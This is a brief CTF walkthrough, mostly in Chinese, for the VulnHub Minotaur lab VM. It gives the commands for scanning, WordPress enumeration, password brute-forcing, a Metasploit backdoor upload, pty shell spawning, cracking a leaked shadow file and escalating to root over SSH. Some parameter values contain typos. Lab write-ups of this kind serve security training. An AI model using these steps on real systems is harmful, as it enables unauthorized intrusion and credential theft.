Hack the Minotaur VM (CTF Challenge)

https://www.vulnhub.com/entry/sectalks-bne0x00-minotaur,139/

http://www.hackingarticles.in/hack-minotaur-vm-ctf-challenge/

  1. nmap -A 192.168.56.223 -p- => 有開TCP 22, 80, 2020 port
  2. 用dirbuster暴破TCP/80 port,發現http://192.168.56.223/bull/ 頁面
  3. 由於此網頁是用wp架的,所以用wpscan列舉一下username、theme或plugin漏洞:
    • wpscan -u http://192.168.56.223/bull/ --enumerate u
    • 發現使用者bully和slideshow-gallery - v1.4.6漏洞
  4. 破解bully密碼:使用cewl和john來建立密碼檔:
    1. cewl http://192.168.56.223/bull -m 3 -w /root/Desktop/pass.txt
    2. 利用john的mangling rules來產生更多密碼:john --wordlist=pass.txt --rules --stdout > pass_new.txt
  5. 用burpsuite來字典檔破解,發現密碼為Bighornedbulls
  6. 利用metasploit的WORDPRESS SLIDESHOW GALLERY AUTHENTICATED FILE UPLOAD來自動上傳後門並連入
    set rhost 19.168.56.223
    set rport 80
    set targeturi /bull/
    set wp_user buly
    set wp_password Bighornedbulls
    run
    
  7. 連入meterpreter後輸入:
    shell
    echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
    python /tmp/shell.py
    
  8. 在/var/www/html下發現flag.txt
  9. 在/tmp/目錄下發現flag.txt以及shadow.bak,使用john破解heffer和minotaur的密碼:
    • john shadow.bak,密碼分別為Password1和obiwan6
  10. 使用這兩個帳密登入SSH:
    • ssh heffer@192.168.56.223,發現flag.txt
    • ssh minotaur@192.168.56.223,發現flag.txt
  11. 在SSH底下使用minotaur帳號使用sudo su切換root身份,在root根目錄下發現flag.txt

results matching ""

    No results matching ""